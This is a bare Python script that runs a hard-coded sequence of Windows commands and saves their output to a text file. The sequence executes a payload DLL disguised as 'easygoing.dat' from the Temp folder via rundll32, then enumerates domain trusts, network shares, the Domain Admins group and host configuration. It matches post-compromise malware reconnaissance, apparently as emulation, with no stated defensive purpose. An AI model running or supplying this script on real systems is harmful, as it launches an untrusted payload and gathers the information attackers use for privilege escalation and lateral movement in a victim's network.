import subprocess, os commands = [ 'hostname', 'rundll32 C:\\Users\\USERNAME\\AppData\\Local\\Temp\\easygoing.dat,#1', 'nltest /domain_trusts /all_trusts', 'nltest /domain_trusts', 'net view /all /domain', 'net view /all', 'net group "Domain Admins" /domain', 'chcp', 'ipconfig /all', 'net config workstation', 'systeminfo' ] output_file = 'command_results.txt' with open(output_file, 'w', encoding='utf-8') as file: for command in commands: try: result = subprocess.run(command, shell=True, capture_output=True, text=True) file.write(f"Command: {command}\n") file.write(f"Output:\n{result.stdout}\n") file.write(f"Error:\n{result.stderr}\n") file.write('-'*50 + '\n\n') except Exception as e: file.write(f"Command: {command}\nError: {str(e)}\n" + '-'*50 + '\n\n')